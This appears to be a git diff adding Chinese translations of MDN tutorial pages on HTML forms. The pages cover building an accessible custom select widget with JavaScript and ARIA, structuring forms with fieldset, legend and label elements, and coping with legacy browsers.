接下来我们需要一个 JavaScript 开关来决定脚本是否运行。这个开关非常简单:如果页面加载时,我们的脚本运行了,它将会移除 no-widget class ,并添加  widget class,由此切换 {{HTMLElement("select")}} 元素和自定义组件的可视性。

+ +
window.addEventListener("load", function () {
+  document.body.classList.remove("no-widget");
+  document.body.classList.add("widget");
+});
+ + + + + + + + + + + + + + + + + +
无 JS有 JS
{{EmbedLiveSample("No_JS",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_2")}}{{EmbedLiveSample("JS",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_2")}}
Check out the source code
+ +
+

注意: 如果你真的想让你的代码变得通用和可重用,最好不要做一个 class 选择器开关,而是通过添加一个组件 class 的方式来隐藏{{HTMLElement("select")}} 元素,并且动态地在每一个{{HTMLElement("select")}} 元素后面添加代表页面中自定义组件的 DOM 树。

+
+ +

让工作变得更简单

+ +

在我们将要构建的代码之中,我们将会使用标准的 DOM API 来完成我们所要做的所有工作。尽管 DOM API 在浏览器中得到了更好支持,但是在旧的浏览器上还是会出现问题。( 特别是非常老的 Internet Explorer)。

+ +

如果你想要避免旧浏览器带来的麻烦,这儿有两种解决方案:使用专门的框架,比如 jQuery, $dom, prototype, Dojo, YUI, 或者类似的框架,或者通过填充你想使用的缺失的特性 (这可以通过条件加载轻松完成——例如使用 yepnope 这样的库。

+ +

我们打算使用的特性如下所示(按照风险程度从高到低排列):

+ +
    +
  1. {{domxref("element.classList","classList")}}
  2. +
  3. {{domxref("EventTarget.addEventListener","addEventListener")}}
  4. +
  5. forEach (这不是 DOM而是现代 JavaScript )
  6. +
  7. {{domxref("element.querySelector","querySelector")}} 和 {{domxref("element.querySelectorAll","querySelectorAll")}}
  8. +
+ +

除了那些特定特性的的可用性以外,在开始之前,仍然存在一个问题。由函数{{domxref("element.querySelectorAll","querySelectorAll()")}} 返回的对象是一个{{domxref("NodeList")}} 而不是  Array。这一点非常重要,因为 Array  对象支持 forEach 函数,但是 {{domxref("NodeList")}} 不支持。由于 {{domxref("NodeList")}} 看起来实在是像一个 Array 并且因为 forEach 是这样的便于使用。我们可以轻易地添加对 {{domxref("NodeList")}}的支持,使我们的生活更轻松一些,像这样:

+ +
NodeList.prototype.forEach = function (callback) {
+  Array.prototype.forEach.call(this, callback);
+}
+ +

我们没有开玩笑,这真的很容易实现。

+ +

构造事件回调

+ +

基础已经准备好了,我们现在可以开始定义用户每次同我们的组件交互时会用到的所有函数了。

+ +
// 这个函数会用在每当我们想要停用一个自定义组件的时候
+// 它需要一个参数:
+// select :要停用的带有 'select' 类的节点
+function deactivateSelect(select) {
+
+  // 如果组件没有运行,不用进行任何操作
+  if (!select.classList.contains('active')) return;
+
+  // 我们需要获取自定义组件的选项列表
+  var optList = select.querySelector('.optList');
+
+  // 关闭选项列表
+  optList.classList.add('hidden');
+
+  // 然后停用组件本身
+  select.classList.remove('active');
+}
+
+// 每当用户想要激活(或停用)这个组件的时候,会调用这个函数
+// 它需要2个参数:
+// select : 要激活的带有'select'类的DOM节点
+// selectList : 包含所有带'select'类的DOM节点的列表
+function activeSelect(select, selectList) {
+
+  // 如果组件已经激活了,不进行任何操作
+  if (select.classList.contains('active')) return;
+
+  // 我们需要关闭所有自定义组件的活动状态
+  // 因为deactiveselect函数满足forEach回调函数的所有请求,
+  // 我们直接使用它,不使用中间匿名函数
+  selectList.forEach(deactivateSelect);
+
+  // 然后我们激活特定的组件
+  select.classList.add('active');
+}
+
+// 每当用户想要打开/关闭选项列表的时候,会调用这个函数
+// 它需要一个参数:
+// select : 要触发的列表的DOM节点
+function toggleOptList(select) {
+
+  // 该列表不包含在组件中
+  var optList = select.querySelector('.optList');
+
+  // 我们改变列表的class去显示/隐藏它
+  optList.classList.toggle('hidden');
+}
+
+// 每当我们要高亮一个选项的时候,会调用该函数
+// 它需要两个参数:
+// select : 带有'select'类的DOM节点,包含了需要高亮强调的选项
+// option : 需要高亮强调的带有'option'类的DOM节点
+function highlightOption(select, option) {
+
+  // 为我们的自定义select元素获取所有有效选项的列表
+  var optionList = select.querySelectorAll('.option');
+
+  // 我们移除所有选项的高亮强调
+  optionList.forEach(function (other) {
+    other.classList.remove('highlight');
+  });
+
+  // 我们高亮强调正确的选项
+  option.classList.add('highlight');
+};
+ +

这是你需要用来处理组件不同状态的所有代码。

+ +

接下来,我们将这些函数绑定到合适的事件上:

+ +
// 我们处理文档加载时的事件绑定。
+window.addEventListener('load', function () {
+  var selectList = document.querySelectorAll('.select');
+
+  // 每个自定义组件都需要初始化
+  selectList.forEach(function (select) {
+
+    // 它的'option'元素也需要
+    var optionList = select.querySelectorAll('.option');
+
+    // 每当用户的鼠标悬停在一个选项上时,我们高亮这个指定的选项
+    optionList.forEach(function (option) {
+      option.addEventListener('mouseover', function () {
+        // 注意:'select'和'option'变量是我们函数调用范围内有效的闭包 。
+        highlightOption(select, option);
+      });
+    });
+
+    // 每当用户点击一个自定义的select元素时
+    select.addEventListener('click', function (event) {
+      // 注意:'select'变量是我们函数调用范围内有效的闭包。
+
+      // 我们改变选项列表的可见性
+      toggleOptList(select);
+    });
+
+    // 如果组件获得了焦点
+    // 每当用户点击它或是用tab键访问这个组件时,组件获得焦点
+    select.addEventListener('focus', function (event) {
+      // 注意:'select'和'selectlist'变量是我们函数调用范围内有效的闭包 。
+
+      // 我们激活这个组件
+      activeSelect(select, selectList);
+    });
+
+    // 如果组件失去焦点
+    select.addEventListener('blur', function (event) {
+      // 注意:'select'变量是我们函数调用范围内有效的闭包。
+
+      // 我们关闭这个组件
+      deactivateSelect(select);
+    });
+  });
+});
+ +

此时,我们的组件会根据我们的设计改变状态,但是它的值仍然没有更新。我们接下来会处理这件事。

+ + + + + + + + + + + + + + + +
Live example
{{EmbedLiveSample("Change_states",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_3")}}
Check out the source code
+ +

处理组件的值

+ +

既然我们的组件已经开始工作了,我们必须添加代码,使其能够根据用户的输入更新取值,并且能将取值随表单数据一同发送。

+ +

实现这一点最简单的方法是使用后台原生组件。这样的一个组件会使用浏览器提供的所有内置控件跟踪值,并且在表单提交时,取值也会像往常一样发送。当有现成的功能时,我们再做重复工作就毫无意义了。

+ +

像前面所看到的那样,出于可访问性的原因,我们已经使用了一个原生的选择组件作为后备显示内容;我们可轻松的将它的值与我们的自定义组件之间的值同步。

+ +
// 这个函数更新显示的值并将其通过原生组件同步
+// 它需要2个参数:
+// select : 含有要更新的值的'select'类的DOM节点
+// index  : 要被选择的值的索引
+function updateValue(select, index) {
+  // 我们需要为了给定的自定义组件获取原生组件
+  // 在我们的例子中, 原生组件是自定义组件的‘同胞’
+  var nativeWidget = select.previousElementSibling;
+
+  // 我们也需要得到自定义组件的值占位符,
+  var value = select.querySelector('.value');
+
+  // 还有整个选项列表。
+  var optionList = select.querySelectorAll('.option');
+
+  // 我们将被选择的索引设定为我们的选择的索引
+  nativeWidget.selectedIndex = index;
+
+  // 更新相应的值占位符
+  value.innerHTML = optionList[index].innerHTML;
+
+  // 然后高亮我们自定义组件里对应的选项
+  highlightOption(select, optionList[index]);
+};
+
+// 这个函数返回原生组件里当前选定的索引
+// 它需要1个参数:
+// select : 跟原生组件有关的'select'类DOM节点
+function getIndex(select) {
+  // 我们需要为了给定的自定义组件访问原生组件
+  // 在我们的例子中, 原生组件是自定义组件的一个“同胞”
+  var nativeWidget = select.previousElementSibling;
+
+  return nativeWidget.selectedIndex;
+};
+ +

通过这两个函数,我们可以将原生组件绑定到自定义的组件上。

+ +
// 我们在文档加载时处理事件的绑定。
+window.addEventListener('load', function () {
+  var selectList = document.querySelectorAll('.select');
+
+  // 每个自定义组件都需要初始化
+  selectList.forEach(function (select) {
+    var optionList = select.querySelectorAll('.option'),
+        selectedIndex = getIndex(select);
+
+    // 使我们的自定义组件可以获得焦点
+    select.tabIndex = 0;
+
+    // 我们让原生组件无法获得焦点
+    select.previousElementSibling.tabIndex = -1;
+
+    // 确保默认选中的值正确显示
+    updateValue(select, selectedIndex);
+
+    // 每当用户点击一个选项的时候,更新相应的值
+    optionList.forEach(function (option, index) {
+      option.addEventListener('click', function (event) {
+        updateValue(select, index);
+      });
+    });
+
+    // 每当用户在获得焦点的组件上用键盘操作时,更新相应的值
+    select.addEventListener('keyup', function (event) {
+      var length = optionList.length,
+          index  = getIndex(select);
+
+      // 当用户点击向下箭头时,跳转到下一个选项
+      if (event.keyCode === 40 && index < length - 1) { index++; }
+
+      // 当用户点击向上箭头时,跳转到上一个选项
+      if (event.keyCode === 38 && index > 0) { index--; }
+
+      updateValue(select, index);
+    });
+  });
+});
+ +

在上面的代码里,值得注意的是 tabIndex 属性的使用。使用这个属性是很有必要的,这可以确保原生组件将永远不会获得焦点,而且还可以确保当用户用户使用键盘和鼠标时,我们的自定义组件能够获得焦点。

+ +

做完上面这些后,我们就完成了!下面是结果:

+ + + + + + + + + + + + + + + +
Live example
{{EmbedLiveSample("Change_states",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_4")}}
Check out the source code
+ +

但是等等,我们真的做完了嘛?

+ +

使其具有可访问性

+ +

我们构建了一个能够生效的东西,尽管这离一个特性齐全的选择框还差得远,但是它效果不错。但是我们已经完成的事情只不过是摆弄DOM。这个组件并没有真正的语义,即使它看起来像一个选择框,但是从浏览器的角度来看并不是,所以辅助技术并不能明白这是一个选择框。简单来说,这个全新的选择框并不具备可访问性!

+ +

幸运的是,有一种解决方案叫做 ARIA。ARIA代表"无障碍富互联网应用"。这是一个专为我们现在做的事情设计的 W3C 规范:使网络应用和自定义组件易于访问,它本质上是一组用来拓展 HTML 的属性集,以便我们能够更好的描述角色,状态和属性,就像我们刚才设计的元素是是它试图传递的原生元素一样。使用这些属性非常简单,所以让我们来试试看。

+ +

 role 属性

+ +

ARIA 使用的关键属性是 role 属性。role 属性接受一个值,该值定义了一个元素的用途。每一个 role 定义了它自己的需求和行为。在我们的例子中,我们会使用 listbox 这一 role。这是一个 "合成角色",表示具有该role的元素应该有子元素,每个子元素都有特定的角色。(在这个案例中,至少有一个具有option 角色的子元素)。

+ +

同样值得注意的是,ARIA定义了默认应用于标准 HTML 标记的角色。例如,{{HTMLElement("table")}} 元素与角色 grid 相匹配,而 {{HTMLElement("ul")}} 元素与角色 list 相匹配。由于我们使用了一个 {{HTMLElement("ul")}} 元素,我们想要确保我们组件的 listbox 角色能替代 {{HTMLElement("ul")}} 元素的list 角色。为此,我们会使用角色 presentation。这个角色被设计成让我们来表示一个元素没有特殊的含义,并且仅仅用于提供信息。我们会将其应用到{{HTMLElement("ul")}} 元素上。

+ +

为了支持 listbox 角色,我们只需要将我们 HTML 改成这样:

+ +
<!-- 我们把role="listbox" 属性添加到我们的顶部元素 -->
+<div class="select" role="listbox">
+  <span class="value">Cherry</span>
+  <!-- 我们也把 role="presentation" 添加到ul元素中 -->
+  <ul class="optList" role="presentation">
+    <!-- 然后把role="option" 属性添加到所有li元素里 -->
+    <li role="option" class="option">Cherry</li>
+    <li role="option" class="option">Lemon</li>
+    <li role="option" class="option">Banana</li>
+    <li role="option" class="option">Strawberry</li>
+    <li role="option" class="option">Apple</li>
+  </ul>
+</div>
+ +
+

注意:只有当你想要为不支持 CSS 属性选择器的旧浏览器提供支持时,才有必要同时包含 role 属性和一个class 属性。

+
+ +

 aria-selected 属性

+ +

仅仅使用 role 属性是不够的。 ARIA 还提供了许多状态和属性的内部特征。你能更好更充分的利用它们,你的组件就会能够被辅助技术更好的理解。在我们的例子中,我们会把使用限制在一个属性上:aria-selected

+ +

aria-selected 属性被用来标记当前被选中的选项;这可以让辅助技术告知用户当前的选项是什么。我们会通过 JavaScript 动态地使用该属性,每当用户选择一个选项时标记选中的选项。为了达到这一目的,我们需要修正我们的 updateValue() 函数:

+ +
function updateValue(select, index) {
+  var nativeWidget = select.previousElementSibling;
+  var value = select.querySelector('.value');
+  var optionList = select.querySelectorAll('.option');
+
+  // 我们确保所有的选项都没有被选中
+  optionList.forEach(function (other) {
+    other.setAttribute('aria-selected', 'false');
+  });
+
+  // 我们确保选定的选项被选中了
+  optionList[index].setAttribute('aria-selected', 'true');
+
+  nativeWidget.selectedIndex = index;
+  value.innerHTML = optionList[index].innerHTML;
+  highlightOption(select, optionList[index]);
+};
+ +

这是经过所有的改变之后的最终结果。 ( 藉由 NVDA or VoiceOver 这样的辅助技术尝试它,你会对此有更好的体会):

+ + + + + + + + + + + + + + + +
在线示例
{{EmbedLiveSample("Change_states",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_5")}}
Check out the final source code
+ +

总结

+ +

我们已经了解了所有和构建一个自定义表单组件相关的基础知识,但是如你所见做这件事非常繁琐,并且通常情况下依赖第三方库,而不是自己从头写起会更容易 ,也更好(当然,除非你的目的就是构建一个这样的库)。

+ +

这儿有一些库,在你编写自己的之前应该了解一下:

+ + + +

如果你想更进一步, 本例中的代码需要一些改进,才能变得更加通用和可重用。这是一个你可以尝试去做的练习。这里有两个提示可以帮到你:我们所有函数的第一个参数是相同的,这意味着这些函数需要相同的上下文。构建一个对象来共享那些上下文是更聪明的做法。还有,你需要让它的特性适用性更好;也就是说,它要能在一系列对Web标准的兼容性不同的浏览器上工作良好。祝愉快!

+ +

{{PreviousMenuNext("Learn/HTML/Forms/Form_validation", "Learn/HTML/Forms/Sending_forms_through_JavaScript", "Learn/HTML/Forms")}}

+ +

在本单元中

+ + diff --git a/files/zh-cn/learn/forms/how_to_structure_a_web_form/index.html b/files/zh-cn/learn/forms/how_to_structure_a_web_form/index.html new file mode 100644 index 0000000000..eda4b201da --- /dev/null +++ b/files/zh-cn/learn/forms/how_to_structure_a_web_form/index.html @@ -0,0 +1,290 @@ +--- +title: 如何构造HTML表单 +slug: Learn/HTML/Forms/How_to_structure_an_HTML_form +translation_of: Learn/Forms/How_to_structure_a_web_form +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Forms/Your_first_HTML_form", "Learn/HTML/Forms/The_native_form_widgets", "Learn/HTML/Forms")}}
+ +

有了基础知识,我们现在更详细地了解了用于为表单的不同部分提供结构和意义的元素。

+ + + + + + + + + + + + +
前提条件:基本的计算机能力, 和基本的 对HTML的理解
目标:要理解如何构造HTML表单并赋予它们语义,以便它们是可用的和可访问的。
+ +

HTML表单的灵活性使它们成为HTML中最复杂的结构之一;您可以使用专用的表单元素和属性构建任何类型的基本表单。在构建HTML表单时使用正确的结构将有助于确保表单可用性和可访问性。

+ +

 <form> 元素

+ +

 {{HTMLElement("form")}} 元素按照一定的格式定义了表单和确定表单行为的属性。当您想要创建一个HTML表单时,都必须从这个元素开始,然后把所有内容都放在里面。许多辅助技术或浏览器插件可以发现{{HTMLElement("form")}}元素并实现特殊的钩子,使它们更易于使用。 

+ +

我们早在之前的文章中就遇见过它了。

+ +
注意: 严格禁止在一个表单内嵌套另一个表单。嵌套会使表单的行为不可预知,而这取决于正在使用的浏览器。
+ +

请注意,在{{HTMLElement("form")}}元素之外使用表单小部件是可以的,但是如果您这样做了,那么表单小部件与任何表单都没有任何关系。这样的小部件可以在表单之外使用,但是您应该对于这些小部件有特别的计划,因为它们自己什么也不做。您将不得不使用JavaScript定制他们的行为。

+ +
+

注意: HTML5在HTML表单元素中引入form属性。它让您显式地将元素与表单绑定在一起,即使元素不在{{ HTMLElement("form") }}中。不幸的是,就目前而言,跨浏览器对这个特性的实现还不足以使用。

+
+ +

 <fieldset> 和 <legend> 元素

+ +

{{HTMLElement("fieldset")}}元素是一种方便的用于创建具有相同目的的小部件组的方式,出于样式和语义目的。 你可以在<fieldset>开口标签后加上一个 {{HTMLElement("legend")}}元素来给{{HTMLElement("fieldset")}} 标上标签。 {{HTMLElement("legend")}}的文本内容正式地描述了{{HTMLElement("fieldset")}}里所含有部件的用途。

+ +

许多辅助技术将使用{{HTMLElement("legend")}} 元素,就好像它是相应的 {{HTMLElement("fieldset")}} 元素里每个部件的标签的一部分。例如,在说出每个小部件的标签之前,像JawsNVDA这样的屏幕阅读器会朗读出legend的内容。

+ +

这里有一个小例子:

+ +
<form>
+  <fieldset>
+    <legend>Fruit juice size</legend>
+    <p>
+      <input type="radio" name="size" id="size_1" value="small">
+      <label for="size_1">Small</label>
+    </p>
+    <p>
+      <input type="radio" name="size" id="size_2" value="medium">
+      <label for="size_2">Medium</label>
+    </p>
+    <p>
+      <input type="radio" name="size" id="size_3" value="large">
+      <label for="size_3">Large</label>
+    </p>
+  </fieldset>
+</form>
+ +
+

注意: 你可以在 fieldset-legend.html (你也可以看预览版) 看到该例。

+
+ +

当阅读上述表格时,屏幕阅读器将会读第一个小部件“Fruit juice size small”,“Fruit juice size medium”为第二个,“Fruit juice size large”为第三个。

+ +

本例中的用例是最重要的。每当您有一组单选按钮时,您应该将它们嵌套在{{HTMLElement("fieldset")}}元素中。还有其他用例,一般来说,{{HTMLElement("fieldset")}}元素也可以用来对表单进行分段。理想情况下,长表单应该在拆分为多个页面,但是如果表单很长,却必须在单个页面上,那么将以不同的关联关系划分的分段,分别放在不同的fieldset里,可以提高可用性。

+ +

因为它对辅助技术的影响, {{HTMLElement("fieldset")}} 元素是构建可访问表单的关键元素之一。无论如何,你有责任不去滥用它。如果可能,每次构建表单时,尝试侦听屏幕阅读器如何解释它。如果听起来很奇怪,试着改进表单结构。

+ +

 <label> 元素

+ +

正如我们在前一篇文章中看到的, {{HTMLElement("label")}} 元素是为HTML表单小部件定义标签的正式方法。如果你想构建可访问的表单,这是最重要的元素——当实现的恰当时,屏幕阅读器会连同有关的说明和表单元素的标签一起朗读。以我们在上一篇文章中看到的例子为例:

+ +
<label for="name">Name:</label> <input type="text" id="name" name="user_name">
+ +

<label> 标签与 <input> 通过他们各自的for 属性和 id 属性正确相关联(label的for属性和它对应的小部件的id属性),这样,屏幕阅读器会读出诸如“Name, edit text”之类的东西。

+ +

如果标签没有正确设置,屏幕阅读器只会读出“Edit text blank”之类的东西,这样会没什么帮助。

+ +

注意,一个小部件可以嵌套在它的{{HTMLElement("label")}}元素中,就像这样:

+ +
<label for="name">
+  Name: <input type="text" id="name" name="user_name">
+</label>
+ +

尽管可以这样做,但人们认为设置for属性才是最好的做法,因为一些辅助技术不理解标签和小部件之间的隐式关系。

+ +

标签也可点击!

+ +

正确设置标签的另一个好处是可以在所有浏览器中单击标签来激活相应的小部件。这对于像文本输入这样的例子很有用,这样你可以通过点击标签,和点击输入区效果一样,来聚焦于它,这对于单选按钮和复选框尤其有用——这种控件的可点击区域可能非常小,设置标签来使它们可点击区域变大是非常有用的。

+ +

举个例子:

+ +
<form>
+  <p>
+    <label for="taste_1">I like cherry</label>
+    <input type="checkbox" id="taste_1" name="taste_cherry" value="1">
+  </p>
+  <p>
+    <label for="taste_2">I like banana</label>
+    <input type="checkbox" id="taste_2" name="taste_banana" value="2">
+  </p>
+</form>
+ +
+

注意: 你可以在 checkbox-label.html (你也可以看预览版) 看到该例。

+
+ +

多个标签

+ +

严格地说,您可以在一个小部件上放置多个标签,但是这不是一个好主意,因为一些辅助技术可能难以处理它们。在多个标签的情况下,您应该将一个小部件和它的标签嵌套在一个{{HTMLElement("label")}}元素中。

+ +

让我们考虑下面这个例子:

+ +
<p>Required fields are followed by <abbr title="required">*</abbr>.</p>
+
+<!--这样写:-->
+<div>
+  <label for="username">Name:</label>
+  <input type="text" name="username">
+  <label for="username"><abbr title="required">*</abbr></label>
+</div>
+
+<!--但是这样写会更好:-->
+<div>
+  <label for="username">
+    <span>Name:</span>
+    <input id="username" type="text" name="username">
+    <abbr title="required">*</abbr>
+  </label>
+</div>
+
+<!--但最好的可能是这样:-->
+<div>
+  <label for="username">Name: <abbr title="required">*</abbr></label>
+  <input id="username" type="text" name="username">
+</div>
+ +

顶部的段落定义了所需元素的规则。它必须在开始时确保像屏幕阅读器这样的辅助技术在用户找到必需的元素之前显示或念出它们。这样,他们就知道星号表达的是什么意思了。根据屏幕阅读器的设置,屏幕阅读器会把星号读为“star”或“required”,取决于屏幕阅读器的设置——不管怎样,要念出来的都会在第一段清楚的呈现出来。

+ + + +
+

注意:你可能会得到一些不同的结果,这取决于你的屏幕阅读器。这是在VoiceOver上测试的(NVDA的行为也类似)。我们也乐于听听你的试验结果。

+
+ +
+

注意: 你可以在 GitHub 上看到 required-labels.html (你也可以看预览版)。不要运行2个或3个未注释版本的示例—— 如果您有多个标签和多个输入相同的ID,那么屏幕阅读器肯定会感到困惑!

+
+ +

用于表单的通用HTML结构

+ +

除了特定于HTML表单的结构之外,还应该记住表单同样是HTML。这意味着您可以使用HTML的所有强大功能来构造一个HTML表单。

+ +

正如您在示例中可以看到的,用{{HTMLElement("div")}}元素包装标签和它的小部件是很常见的做法。{{HTMLElement("p")}}元素也经常被使用,HTML列表也是如此(后者在构造多个复选框或单选按钮时最为常见)。

+ +

除了{{HTMLElement("fieldset")}}元素之外,使用HTML标题(例如,{{htmlelement("h1")}}、{{htmlelement("h2")}})和分段(如{{htmlelement("section")}})来构造一个复杂的表单也是一种常见的做法。

+ +

最重要的是,你要找到一种你觉得很舒服的风格去码代码,而且它也能带来可访问的、可用的形式。

+ +

它包含了从功能上划分开并分别包含在{{htmlelement("section")}}元素中的部分,以及一个{{htmlelement("fieldset")}}来包含单选按钮。

+ +

自主学习:构建一个表单结构

+ +

让我们把这些想法付诸实践,建立一个稍微复杂一点的表单结构——一个支付表单。这个表单将包含许多您可能还不了解的小部件类型—现在不要担心这个;在下一篇文章(原生表单小部件)中,您将了解它们是如何工作的。现在,当您遵循下面的指令时,请仔细阅读这些描述,并开始理解我们使用的包装器元素是如何构造表单的,以及为什么这么做。

+ +
    +
  1. 在开始之前,在计算机上的一个新目录中,创建一个空白模板文件我们的支付表单的CSS样式的本地副本。
  2. +
  3. 首先,通过添加下面这行代码到你的HTML{{htmlelement("head")}}使你的HTML应用CSS。 +
    <link href="payment-form.css" rel="stylesheet">
    +
  4. +
  5. 接下来,通过添加外部{{htmlelement("form")}}元素来开始一张表单: +
    <form>
    +
    +</form>
    +
  6. +
  7. 在 <form> 标签内,以添加一个标题和段落开始,告诉用户必需的字段是如何标记的: +
    <h1>Payment form</h1>
    +<p>Required fields are followed by <strong><abbr title="required">*</abbr></strong>.</p>
    +
  8. +
  9. 接下来,我们将在表单中添加一个更大的代码段,在我们之前的代码下面。在这里,您将看到,我们正在将联系人信息字段包装在一个单独的{{htmlelement("section")}}元素中。此外,我们有一组两个单选按钮,每个单选按钮都放在自己的列表中({{htmlelement("li")}}))元素。最后,我们有两个标准文本{{htmlelement("input")}}和它们相关的{{htmlelement("label")}}元素,每个元素包含在{{htmlelement("p")}}中,加上输入密码的密码输入。现在将这些代码添加到您的表单中: +
    <section>
    +    <h2>Contact information</h2>
    +    <fieldset>
    +      <legend>Title</legend>
    +      <ul>
    +          <li>
    +            <label for="title_1">
    +              <input type="radio" id="title_1" name="title" value="K" >
    +              King
    +            </label>
    +          </li>
    +          <li>
    +            <label for="title_2">
    +              <input type="radio" id="title_2" name="title" value="Q">
    +              Queen
    +            </label>
    +          </li>
    +          <li>
    +            <label for="title_3">
    +              <input type="radio" id="title_3" name="title" value="J">
    +              Joker
    +            </label>
    +          </li>
    +      </ul>
    +    </fieldset>
    +    <p>
    +      <label for="name">
    +        <span>Name: </span>
    +        <strong><abbr title="required">*</abbr></strong>
    +      </label>
    +      <input type="text" id="name" name="username">
    +    </p>
    +    <p>
    +      <label for="mail">
    +        <span>E-mail: </span>
    +        <strong><abbr title="required">*</abbr></strong>
    +      </label>
    +      <input type="email" id="mail" name="usermail">
    +    </p>
    +    <p>
    +      <label for="pwd">
    +        <span>Password: </span>
    +        <strong><abbr title="required">*</abbr></strong>
    +      </label>
    +      <input type="password" id="pwd" name="password">
    +    </p>
    +</section>
    +
  10. +
  11. 现在,我们将转到表单的第二个<section>——支付信息。在这里,我们有三个不同的小部件以及它们的标签,每个都包含在一个<p>中。第一个是选择信用卡类型的下拉菜单({{htmlelement("select")}})。第二个是输入一个信用卡号的类型编号的 <input> 元素。最后一个是输入date类型的<input> 元素,用来输入卡片的过期日期(这将在支持的浏览器中出现一个日期选择器小部件,并在非支持的浏览器中回退到普通的文本输入)。同样,在之前的代码后面输入以下内容: +
    <section>
    +    <h2>Payment information</h2>
    +    <p>
    +      <label for="card">
    +        <span>Card type:</span>
    +      </label>
    +      <select id="card" name="usercard">
    +        <option value="visa">Visa</option>
    +        <option value="mc">Mastercard</option>
    +        <option value="amex">American Express</option>
    +      </select>
    +    </p>
    +    <p>
    +      <label for="number">
    +        <span>Card number:</span>
    +        <strong><abbr title="required">*</abbr></strong>
    +      </label>
    +        <input type="number" id="number" name="cardnumber">
    +    </p>
    +    <p>
    +      <label for="date">
    +        <span>Expiration date:</span>
    +        <strong><abbr title="required">*</abbr></strong>
    +        <em>formatted as mm/yy</em>
    +      </label>
    +      <input type="date" id="date" name="expiration">
    +    </p>
    +</section>
    +
  12. +
  13. 我们要添加的最后一个部分要简单得多,它只包含了一个submit类型的 {{htmlelement("button")}} ,用于提交表单数据。现在把这个添加到你的表单的底部: +
    <p> <button type="submit">Validate the payment</button> </p>
    +
  14. +
+ +

您可以在下面看到已完成的表单 (你可以在Github上看到源码预览版):

+ +

{{EmbedLiveSample("A_payment_form","100%",620, "", "Learn/HTML/Forms/How_to_structure_an_HTML_form/Example")}}

+ +

总结

+ +

现在,您已经具备了正确地构造HTML表单所需的所有知识;下一篇文章将深入介绍各种不同类型的表单小部件,您将希望从用户那里收集信息。

+ +

另见

+ + + +

{{PreviousMenuNext("Learn/HTML/Forms/Your_first_HTML_form", "Learn/HTML/Forms/The_native_form_widgets", "Learn/HTML/Forms")}}

diff --git a/files/zh-cn/learn/forms/html_forms_in_legacy_browsers/index.html b/files/zh-cn/learn/forms/html_forms_in_legacy_browsers/index.html new file mode 100644 index 0000000000..d6045e0d70 --- /dev/null +++ b/files/zh-cn/learn/forms/html_forms_in_legacy_browsers/index.html @@ -0,0 +1,215 @@ +--- +title: 旧式浏览器中的HTML 表单 +slug: Learn/HTML/Forms/HTML_forms_in_legacy_browsers +translation_of: Learn/Forms/HTML_forms_in_legacy_browsers +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/Sending_forms_through_JavaScript", "Learn/HTML/Forms/Styling_HTML_forms", "Learn/HTML/Forms")}}
+ +

所有 web 开发者很快就会(有时候是痛苦地)发现网络是一个令人不快的地方。我们碰到的最恶毒的诅咒是旧式浏览器。好吧,让我们承认吧,当我们提到 “旧式浏览器” 时,脑海中出现就是 老版本的 Internet Explorer ……但是,这远远不是全部。只发布一年的 Firefox 比如 the ESR version 也是旧式浏览器。那么,在移动世界呢?当浏览器和 OS(操作系统) 都不能更新时?是的,有非常多老版本的 Android 手机或 iPhone 没有更新到最新的浏览器。它们同样是旧式浏览器。

+ +

可悲的是,处理这些传统浏览器的问题是工作的一部分。幸运的是,有一些技巧可以帮助您解决旧式浏览器导致的大约80%的问题。

+ +

了解这些问题

+ +

实际上,最重要的事情是阅读那些浏览器的文档,并尝试理解通用的(解决)模式。例如,在许多情况下,HTML表单是否支持CSS是最大的问题。这是正确的开始,只需要检查你想用的元素或接口是否支持CSS即可。MDN有一个关于包含HTML中可用的元素、属性或API的兼容表单可查。 此外,仍有其他一些非常有用的资源:

+ +

浏览器厂商的文档

+ + + +

独立文档

+ + + +

让事情变得更简单

+ +

由于HTML forms 包含复杂的交互,所以有一条法则: keep it as simple as possible。很多时候,我们想让表单更美观或想使用更高级的技术,然而,构建高效的HTML表单不只是设计和技术问题。记得花时间读一下这篇文章t forms usability on UX For The Masses.

+ +

优雅地降级(Graceful degradation)是web开发者最好的朋友

+ +

Graceful degradation and progressive enhancement 是一个开发模式,它允许你通过同时支持多种浏览器来构建优秀内容。当你为现代浏览器构建内容时,你想确保它能在旧式浏览器中以某种方式工作,这就是优雅地降级(graceful degradation).

+ +

让我们看一些关于HTML表单的例子:

+ +

HTML input 类型

+ +

HTML5引入的新input类型十分酷,因为他们的降级(degrade)是高度可预测的。如果一个浏览器不能理解  {{HTMLElement("input")}}元素的 {{htmlattrxref("type","input")}} 属性, 它将会后退到text一样的行为。

+ +
<label for="myColor">
+  Pick a color
+  <input type="color" id="myColor" name="color">
+</label>
+ + + + + + + + + + + + + + +
Chrome 24Firefox 18
Screen shot of the color input on Chrome for Mac OSXScreen shot of the color input on Firefox for Mac OSX
+ +

CSS 属性选择器

+ +

CSS属性选择器  在 HTML Forms 中十分有用,然而旧式浏览器不支持. 在那种情形下,一般会习惯性使用等价的class:

+ +
<input type="number" class="number">
+ +
input[type=number] {
+  /* 这在一些浏览器中是不能执行的 */
+}
+
+input.number {
+  /* 可以在任何浏览器中执行 */
+}
+ +

注意下面的写法没有用(由于它是重复的),在某些浏览器中会失败:

+ +
input[type=number],
+input.number {
+  /* 在某些浏览器中,这可能会失败,因为如果他们不理解其中任何一个选择器,则跳过整个规则 */
+}
+ +

表单按钮

+ +

有两种定义HTML表单按钮的方式:

+ + + +

如果你想通过元素选择器在按钮上应用CSS的话,采用 {{HTMLElement("input")}} 元素的方式会让事情变得稍微有点复杂:

+ +
<input type="button" class="button" value="click me">
+ +
input {
+  /* 此规则关闭了input元素定义的按钮的默认渲染样式 */
+  border: 1px solid #CCC;
+}
+
+input.button {
+  /* 这条规则不会恢复默认渲染*/
+  border: none;
+}
+
+input.button {
+  /* 这条也不会(恢复)! 实际上在浏览器中没有标准方式实现这一目标 */
+  border: auto;
+}
+ +

{{HTMLElement("button")}} 元素有两个问题令人困扰:

+ + + +
<!-- 某些情形下,点击按钮将发送 "<em>Do A</em>" 而不是值"A" -->
+<button type="submit" name="IWantTo" value="A">
+  <em>Do A</em>
+</button>
+ +

